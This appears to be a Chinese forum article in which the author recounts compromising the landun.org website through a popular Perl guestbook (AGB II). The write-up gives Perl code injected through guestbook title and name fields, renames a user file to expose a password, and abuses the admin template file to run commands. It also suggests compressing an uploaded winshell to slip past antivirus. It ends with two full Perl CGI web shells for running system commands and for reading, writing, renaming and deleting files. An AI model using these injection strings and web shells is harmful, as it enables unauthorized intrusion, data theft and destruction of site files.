对蓝盾主站的一次安全性检测
作者: nvymask 来源:www.landun.org
前几天正准备加入蓝盾,所以在他们的BBS上面贴了贴子,没想到天浪竟然同意了。既然同意了,就算是蓝盾的人了。为了我们自已网站的安全性,所以决定对网站进行一次安全性检测。
首先,我知道这肯定是租用的虚拟主机。从主机本身的漏洞而言,相信他们公司自已的人应该做得很好。所以我没有选择对主机入手,而是着手于WEB CGI程序。我先看了看BBS,是动网的BBS。现在版本已经比较高了,可以说程序本身没什么漏洞,看看数据库,也已经改了名了http://www.landun.org/bbs/data/ ,返回的响应码是403,数据库的文件夹名没有改(在这里,返回的响应码403的意思是拒绝访问,一般对目录的访问都是拒绝的,如果是404的话就是文件夹或文件不存在)。不过我在WAWA的论坛上看到他说可以直接改任意用户的密码。但本人对ASP不是太熟,以前分析过,也没什么结果。只是知道/bbs/reg_upload.asp没有经过任何验证,可以上传图片文件。好像现在也没什么利用价值吧。然后,我转到主页,看看有什么CGI程序没有。知道他们用了一个晓冉的新闻,文章发布系统。于是在网上down了一个下来看看,分析了好久,发现了,如果输入/xiaoran/cgi-bin/xiaoran/data/user.cgi的话,可以暴露一些普通用户的用户名和密码。结果如下:
Number found where operator expected at d:\inetpub\wwwroot\xiaoran\cgi-bin\xiaoran\data\user.cgi line 1, near "aaa 111"
(Do you need to predeclare aaa?)
看到了吗?用户名是aaa,密码是111 。这样问题就来了,这个条件是要CGI程序映射使用perl.exe %s %s才可以。如果使用perlis.dll的话不存在此问题。出来的出错脚本是:………(前面省略)script produced no output 。但是本站的CGI程序映射使用的正是perlis.dll,所以不存在这个漏洞,只是知道了脚本的物理路径。所以我也没有再研究下去。
再看看,还有一个留言本是CGI写的。上去看了看,发现是AGBⅡ V1.3 (1.2的版本也存在此问题)。我在google.com搜索了一下,发现网上使用这个留言本的网站还不少,算是挺流行的。于是去找了一个一样的版本,开始分析源代码。分析了好久,它对admin使用的程序的验证做得挺好的,都使用了COOKIE或直接用密码进行验证,验证这一关可以说是没什么漏洞吧(至少我没发现,本人水平有限,如果哪位发现了,希望能切磋一下)。经过一翻失败过后,又看了看gbook/user/这个目录。呵,这个目录正是存放了申请留言本的各版主的用户名和密码。自已在自已机子上测试了一下,发现可以利用,利用方法跟BBS3000和LB5000以前那个利用system函数的漏洞差不多。于是,我到landun的留言本上去申请,呵,天浪干脆把register.cgi删掉了。这下没戏了。经历了这么多失败过后,我又去看了看留言本的数据库,是存放在gb/data/$username下面的(注意:这里的$username我是为了书写方便引用的perl里面的变量的写法,在实际操作中要变换一下,比如留言板的版主是“天浪”,那么$username=天浪),我在自已的机子上乱留了个言,发现每条留言是以$num.pl($num的意思同$username,不过这里就不是版主的名字了,是当前留言的标号,比如当前留言是第97条留言,那么当前留言的标号就有可能是97,但也有可能不是,比如被版主删过,反正差不多就在97左右这个范围。所以在这里$num.pl可能是97.pl。)作为文件名存放的,格式为:
好了,看来这个可以利用一下,来吧,写个留言吧。这样写,留言标题为“@ARGV;#”,留言者名字为“system”,其它的随便写。好了看一下吧,/gb/data/$username/$num.pl?dir 。怎么样?看到/gb/data/$username/这个目录下所有的内容了吧。可以暂时把这个作为一个CGI WEB SHELL吧,下面的事就好说了啊。可实际上并没有这么容易,上面是在我自已机子上做的,我自已的IIS使用的是perl.exe %s %s作CGI程序映射,但现在好多虚拟主机使用的都是perlis.dll作映射啊。为了更接近实际,我把我的IIS服务器也改成perlis.dll为映射。这时用上面那种方法就不行了,不管怎么做,都只有 …….(前面省略)script produced no output 。看起来好像没有执行一样,其实只要CGI程序文件名输入对了,它是可以执行的,只不过没有回显而已。不信你自已写一个system "dir c:\>a.txt";到cmd.cgi 。然后运行www.xxx.com/cmd.cgi 。看看在你的WEB根目录下面有没有a.txt这个文件就知道了。只要语法严密一点,它是可以执行的。于是,我又留言。标题:“system "dir >a.txt";#” ,名称:“system” 。因为执行这个程序是没有回显的,所以我们把程序的输出转存到a.txt这个文件里面。然后执行/gb/data/$username/$num.pl 。再看看/gb/data/$username/a.txt 。什么都没有,怎么回事?后来想了好久,可能是$num.pl文件前面那个$num在做怪,因为,如果perl脚本程序内容是这样“4 system "dir >a.txt";”的话,前面那个4不符合标准语法。于是我就想,要想个办法使它符合语法。如果这句像这样:“4 && system "dir >a.txt";”,或是这样:“4 ;system "dir >a.txt";”不就符合语法了吗(在这里,这一句的意思是调用system()函数,来执行系统命令dir再用>将dir命令的结果输出到a.txt这个文件里面。在命令提示符下面执行"dir >a.txt"同样可以,自已试试就知道什么作用了。)?经过我的测试,两种办法都可以。这下再看/gb/data/$username/a.txt,就看到该目录下面的内容了。下面我又来到了蓝盾,但用上面的办法,根本行不通。我傻眼了,明明在自已的机子上测试都是可以的。为什么到了这儿就行不通了呢?我百思不得其解。后来我又想到,如果合法的用户通过上传一个CGI WEB SHELL的话,不就可以执行系统命令了吗?那多危险啊。一定是做了什么限制,不让利用system函数执行系统命令,意思就是不让执行system函数,或是没有权限执行这个函数。于是我又试其它函数,rename这个函数试试。于是我利用rename这个perl内置函数,它不同于dos命令下面的rename命令喔。这样写留言板,标题写:“("..\\..\\user\\天浪.cgi","a.txt");#” ,名称写:“&& rename” 。这样在留言板数据库$num.pl里面看起来应该是这样:“$num && rename ("..\\..\\user\\天浪.cgi","a.txt");# ….(后面省略)”。因为在perl里面"\"有特殊的用法,所以上面的路径要写成"\\"。然后执行,/gbook/data/天浪/$num.pl 。因为$num我们是不知道的,所以可以通过留言板上面显示留言的数量来猜测,不断地缩小范围,不一会儿就找到了。这时我们看/gbook/data/天浪/a.txt。看吧,密码出来了。可这时,我们通过/gbook/admin.cgi进入管理员界面了。可这又有什么用呢?只是一个留言本啊,我又试了以同样的密码能不能进入ftp,bbs。呵看来密码都是不一样的。怎么办?我刚才不是能利用脚本函数来做事吗?这就行了啊,于是回到留言本,准备留言,但坏了,刚才把“天浪.cgi”改名了,用户资料弄没了,留不了言了,怎么办?这下连一些简单的函数都不能利用了。呵,不急,在我们进入管理界面的时候,看到了有个“编辑留言本模板”,我们现在就可以利用它了,这个模板在保存模板样式的时候是将留言板的格式信息保存在/gb/info/template.cgi里面的。于是我们就可以写一些简单的脚本在里面,然后执行/gb/info/template.cgi 。关于template.cgi的使用方法就要发挥大家的想象力了,一般在CGI程序里面可以顺利执行的脚本在这里面都可以执行,比如要看C:\目录下面的内容大家可以这样写:“system "dir c:\ >a.txt";”然后执行http://www.yourtarget.com/gb/info/template.cgi。这个脚本就算执行了,然后在论坛里的那个reg_upload.asp上传的。只是有一个查看目录和执行程序的一个web shell可以用。接下来的事我觉得真的网管有些变态,除了landun.org的WEB根目录可以查看以外,所有的目录都不能看,权限制真是太变态了。不过我们还是有办法执行cmd.exe自带的一些系统命令的。首先我们需要自已上传一个CMD.EXE 。再上传一个winshell5.0(最好是先用压缩软件压缩一下,看能不能逃过杀毒软件)。然后用刚才我提到的那个可以查看目录和执行程序的那个asp shell来执行它。然后telnet上去再执行一个s,shell就出来了。其实这个shell就是我们刚才上传的cmd.exe而不是它系统目录\winnt\system32\下面那个cmd.exe。这个要区分开喔。可是我没有必要这样做,我只是在我自已的机子上实验成功了。到现在,我可以说我已经控制了landun.org整个主站,可以通过template.cgi调用一些函数,来实现对网站任意文件的删改。但这个虚拟主机的权限设置得比较好,使我不能通过这个站入侵到另一个站。后来我上传了一个测试页面,以证实漏洞事实。其实是满足一下我的虚荣心而已. ^_^
其实在整个测试过程中,好多在我自已机子上的测试结果和在landun.org的都不一样。就是权限的设置问题所至的。其中包括一个CGI SHELL,如果CGI程序映射用的是perlis.dll的话,一般的CGI SHELL就用不起来,因为没有回显,而使我们看不到执行系统命令后的结果。我在网上找了两三个都用不起来。后来我就自已动手写了一个,还比较好用。但这个shell在landun.org用不起来。因为cmd.exe对GUESTS组不可运行。
下面就是那个CGI SHELL的代码。
———————-cut here———————
#!/usr/bin/perl
read(STDIN,$POST,$ENV{'CONTENT_LENGTH'});
($key,$command)=split(/=/,$POST);
$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$command=~s/\+/ /;
$output=system "$command>a.txt";
$output=~s/\n/\<br\>/;
print "Content-Type: text/html\n\n";
print <<EOF;
<form action="cmd.cgi" method=POST>
<input type=text size=40 name=command value=""><br>
<input type=submit value=ok>
</form>
EOF
open(OUTPUT,"a.txt")||die "cannot open $!";
@output=<OUTPUT>;
print <<EOF;
<textarea name="textfield" cols="80" rows="60">@output</textarea>
EOF
close OUTPUT;
unlink ("a.txt");
exit;
——————cut here——————–
下面是我后来写的一个在没有权限执行系统cmd.exe的权限下面的一个简单的CGI SHELL
—————— cut here—————————-
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print <<EOF;
<html><head><title>no system function cgi shell</title></head>
EOF
if(read(STDIN,$POST,$ENV{'CONTENT_LENGTH'})) {
@pair=split(/&/,$POST);
####################### traslation code ########
foreach (@pair) {
$_=~s/\+/ /g;
($name,$value)=split(/=/,$_);
$name=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$value=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$FORM{$name}=$value;
}
####################### dir command ############
if($FORM{dir} ne ""){
if($FORM{dir}=~/\\/) {
$FORM{dir}=$FORM{dir}."\\";
$FORM{dir}=~s/\\\\/\\/;}
if($FORM{dir}=~/\//) {
$FORM{dir}=$FORM{dir}."\/";
$FORM{dir}=~s/\/\//\//;}
@dir=glob("$FORM{dir}*");
print <<EOF;
$FORM{dir}<br>
<textarea cols=80 rows=18>
EOF
foreach (@dir) {
$filesize=(-s $_);
if(-f $_){
print "\t$filesize\t$_\n";
}
if(-d $_){
print "\<DIR\>\t$filesize\t$_\n";
}
}
print <<EOF;
</textarea>
EOF
}
################# type command ################
if($FORM{type} ne ""){
if(-e "$FORM{type}"){
open(TYPE,"$FORM{type}");
@content=<TYPE>;
close TYPE;
print <<EOF;
$FORM{type}<br>
<textarea cols=80 rows=18>
@content
</textarea>
EOF
}
else{
print <<EOF;
<br><font color=red>
file $FORM{type} dose not exist!!!
</font><br>
EOF
}
}
################# copy command #################
if(($FORM{kopyfrom} ne "")&&($FORM{kopyto} ne "")){
if(-e "$FORM{kopyfrom}"){
open (FROM,"$FORM{kopyfrom}");
open (TO,">$FORM{kopyto}");
@file=<FROM>;
print TO @file;
close FORM;
close TO;
if((-e "$FORM{kopyto}")&&(-s "$FORM{kopyto}")) {
print <<EOF;
<br><font color=red>
copy $FORM{kopyfrom} to $FORM{kopyto} successful!!!
</font><br>
EOF
}
}
else{
print <<EOF;
<br><font color=red>
file: $FORM{kopyfrom} dose not exist!
</font><br>
EOF
}
}
################# rename command ################
if(($FORM{renamefrom} ne "")&&($FORM{renameto} ne "")){
if(-e "$FORM{renamefrom}"){
rename ("$FORM{renamefrom}","$FORM{renameto}");
if(-e "$FORM{renameto}") {
print <<EOF;
<br><font color=red>
rename $FORM{renamefrom} to $FORM{renameto} successful!!!
</font><br>
EOF
}
}
else{
print <<EOF;
<br><font color=red>
file: $FORM{renamefrom} dose not exist!
</font><br>
EOF
}
}
################# delete command ##############
if($FORM{del} ne ""){
if(-e "$FORM{del}"){
unlink ("$FORM{del}");
if(!(-e "$FORM{del}")){
print <<EOF;
<br><font color=red>
delete $FORM{del} successful!!!
</font><br>
EOF
}
}
else{
print <<EOF;
<br><font color=red>
file $FORM{del} dose not exist!!!
</font><br>
EOF
}
}
################## write command #############
if($FORM{submit2} eq "write") {
@sb=split(/\n/,$FORM{text});
open (WRITETO,">$FORM{writetofile}");
foreach (@sb) {
chomp $_;
print WRITETO "$_\n";
}
close WRITETO;
if(-e $FORM{writetofile}) {
print <<EOF;
<br><font color=red>
write to $FORM{writetofile} successful!!!
</font><br>
EOF
}
}
################################################
foreach (keys %FORM) {
if ($_ eq "submit1") {
print <<EOF;
<form action="" method="POST">
write:<br>
<textarea name="text" cols="80" rows="20"></textarea><br>
to:<br>
<input type=text name="writetofile" value="" size=45><br>
<input type=submit name="submit2" value="write">
<input type=reset name="reset" value="reset">
</form>
EOF
}
}
}
print <<EOF;
<form action="" method="POST">
dir: <input type=text name="dir" size="46" value=""><br>
type: <input type=text name="type" size="46" value=""><br>
copy <input type=text name="kopyfrom" size="20" value="">
to <input type=text name="kopyto" size="20" value=""><br>
rename <input type=text name="renamefrom" size="20" value="">
to <input type=text name="renameto" size="20" value=""><br>
del: <input type=text name="del" size="46" value=""><br>
<input type=submit name="submit" value=" O K ">
<input type=reset name="reset" value="reset">
<input type=submit name="submit1" value="write"><br>
</form>
EOF
print <<EOF;
<br><br>
<div align="center">
code by:<a href="mailto:130\@21cn.com">Envymask</a><br>
<a href="http://envymask.3322.org";>Envymask's web site</a>
</div>
EOF
exit;
——————– cut here ——————————